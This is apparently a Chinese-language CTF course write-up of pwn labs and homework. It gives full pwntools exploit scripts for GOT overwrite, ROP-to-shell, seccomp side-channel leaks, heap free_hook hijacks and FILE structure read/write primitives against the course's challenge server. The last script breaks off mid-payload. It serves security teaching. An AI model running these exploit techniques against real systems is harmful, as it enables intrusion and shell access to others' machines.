# pwn ## [LAB] got2win ```c= #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> char flag[0x30]; int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); int fd = open("/home/chal/flag", O_RDONLY); read(fd, flag, 0x30); close(fd); write(1, "Good luck !\n", 13); unsigned long addr = 0;//4bytes printf("Overwrite addr: "); scanf("%lu", &addr); printf("Overwrite 8 bytes value: "); read(0, (void *) addr, 0x8); printf("Give me fake flag: "); int nr = read(1, flag, 0x30); if (nr <= 0) exit(1); flag[nr - 1] = '\0'; printf("This is your flag: ctf{%s}... Just kidding :)\n", flag); return 0; } ``` 輸入一個地址再輸入8bytes覆蓋前面的地址,第十行會把 stdout 覆蓋到 flag,如果把read_got 的值覆蓋成 write_plt,read(1, flag, 0x30) 就會變成 write(1, flag, 0x30) ![](https://i.imgur.com/m577r8Q.png) 地址 0x404038 的值覆蓋成 0401030 ```pyt from pwn import * #p = process(['./chal']) p = remote('edu-ctf.zoolab.org', 10004) read_adr = 0x404038 write_val = 0x401030 p.sendlineafter('write addr: ', str(read_adr)) p.sendafter('bytes value: ', p64(write_val)) p.interactive() ``` 執行後得flag ![](https://i.imgur.com/BKP6e0B.png) ## [LAB] rop2win Pwn 50 16 ```clike= #include <stdio.h> #include <unistd.h> #include <seccomp.h> char fn[0x20]; char ROP[0x100]; // fd = open("flag", 0); // read(fd, buf, 0x30); // write(1, buf, 0x30); // 1 --> stdout int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); seccomp_load(ctx); seccomp_release(ctx); printf("Give me filename: "); read(0, fn, 0x20); printf("Give me ROP: "); read(0, ROP, 0x100); char overflow[0x10]; printf("Give me overflow: "); read(0, overflow, 0x30); return 0; } ``` 程式只允許 open read write exit 等 syscall,因此用rop chain構造出: fd = open("flag", 0); read(fd, buf, 0x30); write(1, buf, 0x30); // 1 --> stdout ![](https://i.imgur.com/wMmCgEv.png) 用 ropGadget 找到 instructsions 地址 ![](https://i.imgur.com/iuNxh4X.png) ``` py from pwn import * # p = process('./chal') p = remote('edu-ctf.zoolab.org', 10005) context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] ROP_address = 0x4e3360 flag = 0x4e3340 pop_rdi_ret = 0x00000000004038b3 pop_rsi_ret = 0x0000000000402428 pop_rdx_pop_rbx_ret = 0x0000000000493a2b pop_rax_ret = 0x000000000045db87 leave_ret = 0x000000000040190c syscall_ret = 0x00000000004284b6 ROP = flat( pop_rdi_ret, flag, pop_rsi_ret, 0, pop_rax_ret, 2, syscall_ret, pop_rdi_ret, 3, pop_rsi_ret, flag, pop_rdx_pop_rbx_ret, 0x90, 0xdeadbeef, pop_rax_ret, 0, syscall_ret, pop_rdi_ret, 1, pop_rsi_ret, flag, pop_rax_ret, 1, syscall_ret, ) # gdb.attach(p, # """ # b *main+408 # """ # ) #p.sendafter(' filename: ', b'flag\x00') p.sendafter(' filename: ', b'/home/chal/flag\x00') p.sendafter(' ROP: ', b'a'*8 + ROP) p.sendafter('flow: ', b'a' * 0x20 + p64(ROP_address) + p64(leave_ret)) p.interactive() ``` 'a' * 0x20 蓋掉 stack,rbp 蓋成 rop_address,return address 蓋成 leave_ret 執行後會把 stack 遷移到 ROP_address + 8 上面,隨後執行 rop chain 得 flag ![](https://i.imgur.com/AKb9CrV.png) ## [HW] how2know ```c= #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <seccomp.h> #include <linux/seccomp.h> #include <sys/mman.h> #include <stdlib.h> static char flag[0x30]; int main() { void *addr; int fd; scmp_filter_ctx ctx; addr = mmap(NULL, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if ((unsigned long)addr == -1) perror("mmap"), exit(1); fd = open("/home/chal/flag", O_RDONLY); if (fd == -1) perror("open"), exit(1); read(fd, flag, 0x30); close(fd); write(1, "talk is cheap, show me the code\n", 33); read(0, addr, 0x1000); ctx = seccomp_init(SCMP_ACT_KILL); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); seccomp_load(ctx); seccomp_release(ctx); ((void(*)())addr)(); return 0; } ``` 程式把 /home/chal/flag 讀進flag字串後,給定一段記憶體空間可輸入任意值,之後程式設定除了exit exit_group以外的 syscall 都不能用,然後把剛才那段記憶體空間的 bytes 當作 function 來 call ```py import warnings warnings.filterwarnings("ignore") from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] byte = 0; flag = '' flag_text = '' for byte in range(1, 0x30,8): for count in range(64): p = remote('edu-ctf.zoolab.org', 10002) # p = process('./chal', aslr=False) assembly = f''' mov rbx, [rsp]; lea rbx, [rbx+0x2c64] mov rdi, rbx; lea rdi, [rdi+{hex(byte)}] mov rdx, [rdi]; shr rdx, {hex(count)}; and rdx, 1; test rdx, rdx; je break; loop: nop nop nop nop nop nop nop nop jmp loop; break: mov rax, 0; syscall; ''' payload =asm( assembly, arch = 'amd64', os = 'linux') p.sendafter(' me the code\n', payload) print(p.recv(timeout=5)) try: eof = (p.recv(timeout=5)) close_connection = 1; except: close_connection = 0 if close_connection: flag += '1' else: flag += '0' p.close() print(flag, byte, count, flag_text) n = int(flag[::-1], 2) flag_text = n.to_bytes((n.bit_length() + 7) // 8, 'little').decode() print(flag_text, byte) flag = flag[::-1] n = int(flag, 2) flag_text = n.to_bytes((n.bit_length() + 7) // 8, 'little').decode() print(flag_text) #000000000110001000110010100000101110001011011110000011101001011010000110 #000000000110001000110010100000101110001011011110000011101001011010000110 ``` 因為使用不合法的 syscall 程式會直接中斷,所以可以遍歷 flag 的每一個 bit判斷,若是1就call syscall程式中斷,若是0進入一個無限迴圈,每次程式執行可以得一個 bit ,最後把所有bits連起來得到 flag ![](https://i.imgur.com/cbuzRkC.png) ## [HW] rop++ ```c #include <stdio.h> #include <unistd.h> #include <string.h> int main() { char buf[0x10]; const char *msg = "show me rop\n> "; write(1, msg, strlen(msg)); read(0, buf, 0x200); return 0; } ``` read有buffer overflow的漏洞可以利用,解題的關鍵在於用rop chain構造出 execve("/bin/sh",0,0) ![](https://i.imgur.com/QEMnHt0.png) 用 ropGadget 找到 rop chain 的地址 ```python import warnings warnings.filterwarnings("ignore") from pwn import * context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] p = process('./chal', aslr=False) p = remote('edu-ctf.zoolab.org', 10003) ''' mov rax,0x3b; mov rdi,/bin/sh; mov rsi,0; mov rdx,0; ''' binsh_address = 0x4c5000 syscall_ret = 0x0000000000414506 pop_rax_ret = 0x0000000000447b27 pop_rsi_ret = 0x000000000047d59c pop_rdi_ret = 0x0000000000401e3f pop_rdx_rbx_ret = 0x000000000047ed0b ROP = flat( pop_rdi_ret, 0, pop_rsi_ret, binsh_address, pop_rax_ret, 0, pop_rdx_rbx_ret, 10, 0, syscall_ret, pop_rdi_ret, binsh_address, pop_rsi_ret, 0, pop_rax_ret, 0x3b, pop_rdx_rbx_ret, 0, 0, syscall_ret, ) # gdb.attach(p) p.recv() p.sendline(b'a' * 0x10 + b'b' * 8 + ROP) p.sendline(b"/bin/sh\x00") p.interactive() ``` rop 先 read(0, binsh_address, 10) 輸入 b"/bin/sh" 然後 execve(binsh_address, 0, 0) payload 是蓋掉 buf + 蓋掉rbp 最後 return to ROP,執行 script 後get shell ![](https://i.imgur.com/o5NXpl3.png) ## [LAB] heapmath Pwn 50 0 ```cl #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <time.h> int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); srand(time(NULL)); void *tcache_chk[7] = {0}; unsigned char tcachebin[3][7] = {0}; // 0x20, 0x30, 0x40 unsigned int tcachebin_counts[4] = {0}; unsigned long tcache_size[7] = {0}; unsigned long tcache_free_order[7] = {0}; puts("----------- ** tcache chall ** -----------"); unsigned long tmp = 0; for (int i = 0; i < 7; i++) { tmp = (rand() % 0x21) + 0x10; // 0x10 ~ 0x30 tcache_size[i] = tmp; } for (int i = 0; i < 7; i++) { repeat: tmp = rand() % 7; for (int j = 0; j < i; j++) if (tmp == tcache_free_order[j]) goto repeat; tcache_free_order[i] = tmp; } for (int i = 0; i < 7; i++) { tcache_chk[i] = malloc( tcache_size[i] ); printf("char *%c = (char *) malloc(0x%lx);\n", 'A' + i, tcache_size[i]); } for (int i = 0; i < 7; i++) { int idx = tcache_free_order[i]; free(tcache_chk[ idx ]); printf("free(%c);\n", 'A' + (unsigned char) idx); tmp = tcache_size[ idx ] - 0x8; if (tmp % 0x10) tmp = (tmp & ~0xf) + 0x20; else tmp += 0x10; unsigned int binidx = ((tmp - 0x20) / 0x10); unsigned int bincnt = tcachebin_counts[ binidx ]; tcachebin[ binidx ][ bincnt ] = 'A' + (unsigned char) idx; tcachebin_counts[ binidx ]++; } char tmpbuf[0x100] = {0}; char ansbuf[3][0x100] = {0}; for (int i = 0; i < 3; i++) { for (int j = 6; j >= 0; j--) if (tcachebin[i][j]) { sprintf(tmpbuf, "%c --> ", tcachebin[i][j]); strcat(ansbuf[i], tmpbuf); } strcat(ansbuf[i], "NULL"); } puts(""); for (int i = 0; i < 3; i++) { printf("[chunk size] 0x%x: ", (i+2) * 0x10); if (i == 0) { printf("%s\t(just send \"%s\")\n", ansbuf[i], ansbuf[i]); } else { printf("?\n> "); fgets(tmpbuf, 0x100, stdin); if (!strncmp(tmpbuf, ansbuf[i], strlen(ansbuf[i]))) { puts("Correct !"); } else { puts("Wrong !"); printf("Ans: \"%s\"\n", ansbuf[i]); exit(0); } } } puts("\n----------- ** address chall ** -----------"); int cmp1 = 0; int cmp2 = 0; unsigned long ans_addr = 0; cmp1 = rand() % 7; while ((cmp2 = rand() % 7) == cmp1); if (cmp1 > cmp2) { tmp = cmp1; cmp1 = cmp2; cmp2 = tmp; } printf("assert( %c == %p );\n", 'A' + cmp1, tcache_chk[ cmp1 ]); printf("%c == ?\t(send as hex format, e.g. \"%p\")\n> ", 'A' + cmp2, tcache_chk[ cmp1 ]); scanf("%s", tmpbuf); ans_addr = strtoul(tmpbuf, NULL, 16); if (ans_addr == (unsigned long) [ cmp2 ]) { puts("Correct !"); } else { puts("Wrong !"); printf("Ans: %p\n", tcache_chk[ cmp2 ]); exit(0); } puts("\n----------- ** index chall ** -----------"); unsigned long *fastbin[2] = {0}; unsigned long fastbin_size = 0; unsigned long secret_idx = 0, result_idx = 0, res = 0; fastbin_size = (rand() % 0x31) + 0x40; // 0x40 ~ 0x70 fastbin_size &= ~0xf; fastbin[0] = (unsigned long *) malloc( fastbin_size ); fastbin[1] = (unsigned long *) malloc( fastbin_size ); printf("unsigned long *%c = (unsigned long *) malloc(0x%lx);\n", 'X', fastbin_size); printf("unsigned long *%c = (unsigned long *) malloc(0x%lx);\n", 'Y', fastbin_size); secret_idx = rand() % (fastbin_size / 8); fastbin[1][ secret_idx ] = 0xdeadbeef; result_idx = ((unsigned long)(&fastbin[1][ secret_idx ]) - (unsigned long)(&fastbin[0][0])) / 8; printf("Y[%lu] = 0xdeadbeef;\n", secret_idx); printf("X[?] == 0xdeadbeef\t(just send an integer, e.g. \"8\")\n> "); scanf("%lu", &res); if (fastbin[0][res] == 0xdeadbeef) { puts("Correct !"); } else { puts("Wrong !"); printf("Ans: %lu\n", result_idx); exit(0); } puts("\n----------- ** tcache fd chall ** -----------"); free(fastbin[0]); free(fastbin[1]); printf("free(X);\nfree(Y);\nassert( Y == %p );\n", fastbin[1]); printf("fd of Y == ?\t(send as hex format, e.g. \"%p\")\n> ", fastbin[1]); scanf("%s", tmpbuf); ans_addr = strtoul(tmpbuf, NULL, 16); if (ans_addr == *fastbin[1]) { puts("Correct !"); } else { puts("Wrong !"); printf("Ans: 0x%lx\n", *fastbin[1]); exit(0); } puts("\n----------- ** fastbin fd chall (final) ** -----------"); puts("[*] Restore the chunk to X and Y"); printf("%c = (unsigned long *) malloc(0x%lx);\n", 'Y', fastbin_size); printf("%c = (unsigned long *) malloc(0x%lx);\n", 'X', fastbin_size); fastbin[1] = malloc(fastbin_size); fastbin[0] = malloc(fastbin_size); printf("[*] Do something to fill up 0x%lx tcache\n...\n[*] finish\n", fastbin_size + 0x10); void *tmpchk[7]; for (int i = 0; i < 7; i++) tmpchk[i] = malloc(fastbin_size); for (int i = 0; i < 7; i++) free(tmpchk[i]); printf("free(X);\nfree(Y);\nassert( Y == %p );\n", fastbin[1]); free(fastbin[0]); free(fastbin[1]); printf("fd of Y == ?\t(send as hex format, e.g. \"%p\")\n> ", fastbin[1]); scanf("%s", tmpbuf); ans_addr = strtoul(tmpbuf, NULL, 16); if (ans_addr == *fastbin[1]) { puts("Correct !"); memset(tmpbuf, 0, 0x31); int fd = open("/home/heapmath/flag", O_RDONLY); read(fd, tmpbuf, 0x30); close(fd); printf("Here is your flag: %s\n", tmpbuf); } else { puts("Wrong !"); printf("Ans: 0x%lx\n", *fastbin[1]); exit(0); } } ``` ![](https://i.imgur.com/l0B1oXK.png) 題目給 malloc size 計算 chunk size: A, B, C, D, E, F, G 分別是 0x30 0x30 0x30 0x20 0x40 0x40 0x30 ![](https://i.imgur.com/iF8Az8M.png) 30bytes 的 chunk 中free的順序是 free C, free B, free G, free A 因為 FILO 倒過來變 A->G->B->C->NULL ![](https://i.imgur.com/KWQQ7dc.png) ![](https://i.imgur.com/wiLS2E1.png) 40bytes 的 chunk 中free的順序是 free F, free E 因為 FILO 倒過來變 E->F->NULL ![](https://i.imgur.com/Wrsj81I.png) D 的位置加上 D的 chunk size 等於 下一個 chunk的位置 0x55f8e35be330 + 0x20 = 0x55f8e35be350 ![](https://i.imgur.com/XF8Ggl5.png) unsigned long 長度為 8 bytes,往前一個index 則 bytes + 8 (0x40 + 0x10 (header) + 0x8 * 0x7 ) / 0x8 = 17 ![](https://i.imgur.com/g26n5c8.png) tcache fd 指向 data 0x55f8e35be450 - 0x10(heaer) - 0x40(malloc size) = 0x55f8e35be400 ![](https://i.imgur.com/nh2PQ57.png) fastbin fd 指向 header 0x55f8e35be450 - 0x10(header) - 0x40(malloc size) -0x10(header) = 0x55f8e35be3f0 ![](https://i.imgur.com/lsItvjp.png) --- ## [LAB] babynote Pwn 50 0 ![](https://i.imgur.com/XUeARGY.png) 程式執行後有4個功能,新增筆記 編輯筆記 刪除筆記 顯示筆記,編輯筆記有個overflow可以利用,刪除會有leak data可以反推libc位置 ```python from pwn import * p = process('./chal') #p = remote('edu-ctf.zoolab.org', 10007) def addNote(idx, buf): print(p.recv()) p.sendline(b"1") print(p.recv()) p.sendline(idx) print(p.recv()) p.sendline(buf) def editNote(idx, size, buf): print(p.recv()) p.sendline(b"2") print(p.recv()) p.sendline(idx) print(p.recv()) p.sendline(size) p.sendline(buf) def delNote(idx): #del print(p.recv()) p.sendline(b"3") print(p.recv()) p.sendline(idx) def show(): print('show') print(p.recv()) print('show') p.sendline(b"4") addNote(b'0', b'\x11' * 8) editNote(b'0', str(0x418), b"\xaa" * 0x418) addNote(b'1', b'\x22' * 8) editNote(b'1',str(0x18), b"\xbb" * 0x18) addNote(b'2', b'\x33' * 8) delNote(b'0') show() a = p.recv() a = a.split() print(a) data = a[2].ljust(8, b'\x00') print(hex(u64(data))) libc = u64(data) - 0x1ECBE0 system = libc + 0x52290 free_hook = p64(libc + 0x1eee48) print(f"libc :{hex(libc)} system:{hex(system)}") #.data + 0x0000000000219c80 data = b'/bin/bash\x00'.ljust(16, b'\x00') payload = data + b'\x00'*8 + p64(0x21) + b'c' * 16 + free_hook p.sendline('4') editNote(b'1', str(0x38), payload) editNote(b'2', b'8', p64(system)) p.interactive() ``` ![](https://i.imgur.com/BLc15kb.png) - main_arena ![](https://i.imgur.com/Pc3gGhX.png) - libc 新增三個note,note1的 data size 設定為 0x418,因為size大於0x410 free 掉後不會進入 tcache 而是 unsorted bin,此時的notes[0]->data 會是 unsoreted bin的 fd,而 unsorted bin 的 fd 指向main_arena + 96,因此可以推算出 libc的位址 ![](https://i.imgur.com/stIDqmS.png) ![](https://i.imgur.com/5XWU9Zm.png) 找出 system 和 free_hook 跟 libc 之間的 offset data = b'/bin/bash\x00'.ljust(0x18, b'\x00') payload = data **(填滿 notes[1]->data)** + p64(0x21) + b'c' * 16 + free_hook **(將notes[2]->data 指向的位址改為 free_hook)** 編輯 notes[1]->data 傳入上述 payload,此時 notes[1]->data 指向 "/bin/bash",notes[2]->data 指向 free_hook,將free_hook 的值修改成 system() 的 address,之後 call free() 的時候都會變成 call system() 最後 delete notes[1],free(notes[1]->data) , 變成system(notes[1]->data),因為notes[1]->data 指向 "/bin/bash" , system("/bin/bash") 得到 shell後 cat flag ![](https://i.imgur.com/NbAv6QZ.png) ## [HW] babyums (flag1) ![](https://i.imgur.com/kWHiPZ0.png) 程式執行後有4個功能,新增用戶 編輯data 刪除用戶 顯示用戶,編輯用戶有個overflow可以利用,刪除會有leak data可以反推libc位置 ```python from pwn import * #p = process('./chal') #p = remote('edu-ctf.zoolab.org', 10008) p = process('./a.out') context.terminal = ['tmux', 'splitw', '-h'] def add(idx, user, pwd): p.sendline(b'1') print(p.recv()) p.sendline(idx) print(p.recv()) p.sendline(user) print(p.recv()) p.sendline(pwd) print(p.recvuntil('5. bye\n> ')) def edit(idx, size, buf): p.sendline(b'2') print(p.recv()) p.sendline(idx) print(p.recv()) p.sendline(size) p.sendline(buf) print(p.recvuntil('5. bye\n> ')) def dell(idx): p.sendline(b'3') print(p.recv()) p.sendline(idx) print(p.recvuntil('5. bye\n> ')) def show(): p.sendline(b'4') print(p.recv().decode()) add(b'0', b'\xaa'*8, b'\xaa'*8) edit(b'0', str(0x450), b'\xff'*0x450) add(b'1', b'\xbb'*8, b'\xbb'*8) edit(b'1', b'16', b'\xff'*16) add(b'2', b'\xcc'*8, b'\xcc'*8) dell(b'0') show() r = p.recvuntil('5. bye\n> ').split() print(r) data = u64(r[2].ljust(8, b'\x00')) libc = data - 0x1ecbe0 system = libc + 0x0000000000052290 hook = libc + 0x00000000001eee48 flag = data - 0x28FBC06C8580 print(hex(flag)) print() print() print() print() print() print(hex(data), hex(libc), hex(hook)) #payload = b'\xbb' * 16 + p64(0) + p64(31) + p64(0xcccccccccccccccc) + p64(0x0acccccccccccccc) + p64(0xcccccccccccccccc) + p64(0x0acccccccccccccc) + p64(hook) payload = b'/bin/bash\x00'.ljust(16, b'\x00') + p64(0) + p64(31) + p64(0xcccccccccccccccc) + p64(0x0acccccccccccccc) + p64(0xcccccccccccccccc) + p64(0x0acccccccccccccc) + p64(hook) gdb.attach(p) edit(b'1', str(len(payload)), payload) #bof edit(b'2', b'8', p64(system)) # gdb.attach(p) p.interactive() ``` ![](https://i.imgur.com/BLc15kb.png) - main_arena ![](https://i.imgur.com/Pc3gGhX.png) - libc 新增三個user,user1的 data size 設定為 0x418,因為size大於0x410 free 掉後不會進入 tcache 而是 unsorted bin,此時的users[0]->data 會是 unsoreted bin的 fd,而 unsorted bin 的 fd 指向main_arena + 96,因此可以推算出 libc的位址 ![](https://i.imgur.com/stIDqmS.png) ![](https://i.imgur.com/5XWU9Zm.png) 找出 system 和 free_hook 跟 libc 之間的 offset **payload** = b'/bin/bash\x00'.ljust(16, b'\x00')**(填滿 users[1]->data)** \+ p64(0) + p64(31) **(填滿 chunk header)** \+ p64(0xcccccccccccccccc) + p64(0x0acccccccccccccc)**(填滿 username)** \+ p64(0xcccccccccccccccc) + p64(0x0acccccccccccccc)**(填滿 password)** \+ p64(hook) **(users[2]->data 指向的位址改為 free_hook)** 編輯 users[1]->data 傳入上述 payload,此時 users[1]->data 指向 "/bin/bash",users[2]->data 指向 free_hook,將free_hook 的值修改成 system() 的 address,之後 call free() 的時候都會變成 call system() 最後 delete users[1],free(users[1]->data) , 變成system(users[1]->data),因為users[1]->data 指向 "/bin/bash" , system("/bin/bash") 得到 shell後 cat babums.c 得到 admin password a.k.a FLAG1 ![](https://i.imgur.com/w6a7zzN.png) ## [HW] babyums (flag2) 承上 得到 shell後 cat flag ![](https://i.imgur.com/Sltf6aV.png) ## [LAB] FILE_AAR ```c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> char flag[0x10] = "FLAG{TEST}\n"; int main() { FILE *fp; char *buf; buf = malloc(0x10); fp = fopen("/tmp/meow", "w"); read(0, buf, 0x1000); fwrite(buf, 0x10, 1, fp); return 0; } ``` 題目 read(0, buf, 0x1000),有一overflow 可利用,可任意修改 fp ,將 fp member 改為下列數值,可 print 出 flag fp->_flags = 0xfbad0800; flags 需 & ~NO_WRITES,代表可寫 避免初始化,設置 flags CURRENTLY_PUTTING fp->_IO_read_end = fp->_IO_write_base = addr; write_base 指向目標位址 避免執行 sys_seek,設置 read_end == write_base fp->_IO_write_ptr = addr + size; write_ptr 設為 write_base + 資料大小 fp->_IO_write_end = 0; 避免複製,因此 write_end <= write_ptr fp->_fileno = 1; ``` python p = remote('edu-ctf.zoolab.org', 10010) # p = process('./a.out', aslr=0) # p = process('./chal', aslr=0) addr = 0x555555558010 addr = 0x000000000404050 flag = 0xfbad0800 size = 70 _IO_save_base = 0x0 _IO_backup_base = 0x0 _IO_save_end = 0x0 _markers = 0x0 io_read_ptr = 0 io_read_end = addr io_read_base = 0 io_write_base = addr io_write_ptr = addr + size io_write_end = 0 _IO_buf_base = 0 _IO_buf_end = 0 chain = 0x1555555105c0 file_no = 1 # gdb.attach(p, ''' # b main # add-symbol-file aar.o # ''' # ) payload = b'\xcc' * 0x20 +p64(flag) + p64(io_read_ptr) + p64(io_read_end) + p64(io_read_base) + p64(io_write_base) + p64(io_write_ptr) + p64(io_write_end) + p64(_IO_buf_base) + p64(_IO_buf_end)+ p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end) + p64(_markers) + p64(chain) + p64(file_no) p.send(payload) p.interactive() ``` flag: ![](https://i.imgur.com/lWyBfl5.png) ## [LAB] FILE_AAW ```c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <fcntl.h> char flag[0x10] = "FLAG{TEST}\n"; char owo[] = "OWO!"; int main() { FILE *fp; char *buf; buf = malloc(0x10); fp = fopen("/tmp/meow", "r"); read(0, buf, 0x1000); fread(buf, 0x10, 1, fp); if (strcmp(owo, "OWO!") != 0) write(1, flag, sizeof(flag)); return 0; } ``` 題目的 read(0,buf,0x1000) 有一 overflow可利用,可任意修改 fp內容,將下面的關鍵fp member修改,其餘保持不變,修改後可任意寫入 buffer,將 owo 輸入任意值使其不等於 OWO! ,隨後可得 flag fp->_flags = 0xfbad0000; flags 需 & ~NO_READS,代表可讀 避免被視為 EOF,設置 flags & ~EOF_SEEN fp->_IO_buf_base = fp->_IO_write_base = addr; buf_base 指向目標位址 fp->_IO_buf_end = (char *)addr + size; buf_end 設為 buf_base + 夠大的值 (至少 >= want) fp->_IO_read_ptr = fp->_IO_read_end = 0; 避免複製,因此 read_end == read_ptr fp->_fileno = 0; 由stdin 寫入 ```python from pwn import * # p = process('./chal', aslr=0) p = remote('edu-ctf.zoolab.org', 10009) context.terminal = ['tmux', 'splitw', '-h'] addr = 0x00404070 size = 4 _flags = 0xfbad0000 _IO_read_ptr = 0x0 _IO_read_end = 0x0 _IO_read_base = 0x0 _IO_write_base = addr _IO_write_ptr = 0x0 _IO_write_end = 0x0 _IO_buf_base = addr _IO_buf_end = addr+size _IO_save_base = 0x0 _IO_backup_base = 0x0 _IO_save_end = 0x0 _markers = 0x0 _chain = 0x1555555105c0 _fileno = 0 payload = b'\xcc' * 0x20 + p64(_flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base) + p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end) + p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end) + p64(_markers) + p64(_chain) + p64(_fileno) p.send(payload) p.sendline(b'aaaaaaaaaaaa') p.interactive() ``` flag : ![](https://i.imgur.com/E7zXJwQ.png) ## [HW] miniums ![](https://i.imgur.com/cTpVcQY.png) 程式有四個功能 add edit del show ![](https://i.imgur.com/Hi3EdIN.png) leak user0: 題目的del_user 刪除user後未將其清空,若連續free user0, user1, 兩者進入tcache,user1 的 fd會指向 user0, user1的fd剛好是 user1 的 name,show 之後可以leak user0 的 address leak main_arena: show()會把unsorted bin清空,因此再del 一個 user2 , 使得 **user2->data->_IO_buf_base** 進入unsorted bin, (user0)+0x2700+0x10 (0x10 is chunk header), 這個地址指向main_arena的地址 任意讀: ![](https://i.imgur.com/2JaRl1W.png) malloc()一個 0x1d0 的 buf 會從 tcache 中拿一個 0x1e0 的chunk,這個chunk 剛好是剛剛被 delete 的 user2->data,構造這個 fp 再利用 fwrite 讀取前面的指向的 main_arena 的指標,得知 main_arena 的地址 ![](https://i.imgur.com/mOsbu6g.png) 計算libc地址: libc = main_arena - 0x1ECBE0 system = libc + 0x52290 free_hook = libc + 0x1eee48 寫free_hook: 1. editUser(user1),size 設為 0x1d0 ,會從 tcache 中拿一個 0x1e0 的chunk,這個chunk 剛好是剛剛被 delete 的 user1->data,把寫入的地址竄改成 free_hook 2. editUser(user0)﹐寫入 system 地址,之後執行 free(user) ,都會變成 system(user) ![](https://i.imgur.com/o4twp6d.png) system('/bin/bash'): 新增一個user ,設置 user->name 為 /bin/bash\x00, 因為 user->name 相對 user 的 offset 是 0 free(user) => free(user->name) => free('/bin/bash') => system('/bin/bash') ```python from pwn import * import time # p = process('./a.out', aslr=0) # p = process('./a.out',env={"LD_PRELOAD" : "/usr/src/glibc/glibc_dbg/libc.so"}, aslr=0) # p = process('./chal') p = remote('edu-ctf.zoolab.org', 10011) context.terminal = ['tmux', 'splitw', '-h'] def addUser(idx, buf): print('add-----------------') print(p.recvuntil(b'5. bye\n> ').decode('utf-8' ,'ignore')) p.sendline(b"1") print(p.recvuntil(b'index\n> ').decode('utf-8' ,'ignore')) p.sendline(idx) print(p.recvuntil(b'username\n> ').decode('utf-8' ,'ignore')) p.sendline(buf) print('add----------------- done') def editUser(idx, size, buf): print('edit-----------------') print(p.recvuntil(b'5. bye\n> ').decode('utf-8' ,'ignore')) p.sendline(b"2") print(p.recv().decode('utf-8' ,'ignore')) p.sendline(idx) print(p.recv().decode('utf-8' ,'ignore')) p.sendline(size) p.sendline(buf) print('edit----------------- done') def delUser(idx): print('del-----------------') #del print(p.recvuntil(b'5. bye\n> ').decode('utf-8' ,'ignore')) p.sendline(b"3") print(p.recv().decode('utf-8' ,'ignore')) p.sendline(idx) print('del----------------- done') def show(): print('show-----------------') print(p.recvuntil(b'5. bye\n> ').decode('utf-8' ,'ignore')) p.sendline(b"4") print('show----------------- done') # gdb.attach(p,''' # b show_users # c # ''') for i in range(3): addUser(str(i), b'\xaa' * 5) # buf-base 0x1000 for i in range(3): editUser(str(i), b'51', 50*'\xaa') # free user1 後 user1 在 tcache 指向下一個 chunk user0 for i in range(2): delUser(str(i)) # # show 拿走 unsorted bin # # show 得知 user0 address # # 算出 user2->data->_IO_buf_base (unsotred bin)和 user0的 offset show() a = p.recvuntil(b'show_users').split() print(a) user0 = a[3].ljust(8, b'\x00') addrToMAIN = u64(user0)+0x2700+0x10 #0x10 is header user0 = u64(user0) print(hex((user0))) print(hex(addrToMAIN)) #free user2->data->_IO_buf_base to unsotred bin delUser('2') #read _flags = 0xfbad0800 _IO_read_ptr = 0 _IO_read_end = addrToMAIN _IO_read_base = 0 _IO_write_base = addrToMAIN _IO_write_ptr = addrToMAIN+8 _IO_write_end = 0 _IO_buf_base = 0 _IO_buf_end = 0 _IO_save_base = 0x0 _IO_backup_base = 0x0 _IO_save_end = 0x0 _markers = 0x0 _chain = 0x1555555105c0 _fileno = 1 payload = p64(_flags)+ p64(_IO_read_ptr)+ p64(_IO_read_end)+ p64(_IO_read_base)+ p64(_IO_write_base)+ p64(_IO_write_ptr)+ p64(_IO_write_end)+ p64(_IO_buf_base)+ p64(_IO_buf_end)+ p64(_IO_save_base)+ p64(_IO_backup_base)+ p64(_IO_save_end)+ p64(_markers)+ p64(_chain)+ p64(_fileno) editUser(b'2', b'464', payload) # set user2 r = p.recv(20) print(r) main_arena = u64(r[0:8].ljust(8, b'\x00')) print(hex(main_arena)) # libc = main_arena - 0x1BCBE0 libc = main_arena - 0x1ECBE0 system = libc + 0x52290 free_hook = libc + 0x1eee48 print(f"libc :{hex(libc)} system:{hex(system)}") print(f"free :{hex(free_hook)} ") _flags = 0xfbad2c80 _IO_read_ptr = free_hook _IO_read_end = free_hook _IO_read_base = free_hook _IO_write_base = free_hook _IO_write_ptr = free_hook _IO_write_end = free_hook+8 _IO_buf_base = free_hook _IO_buf_end = free_hook+8 _IO_save_base = 0x0 _IO_backup_base = 0x0 _IO_save_end = 0x0 payload = p64(_flags)+ p64(_IO_read_ptr)+ p64(_IO_read_end)+ p64(_IO_read_base)+ p64(_IO_write_base)+ p64(_IO_write_ptr)+ p64(_IO_write_end)+ p64(_IO_buf_base)+ p64(_IO_buf_end)+ p64(_IO_save_base)+ p64(_IO_backup_base)+ 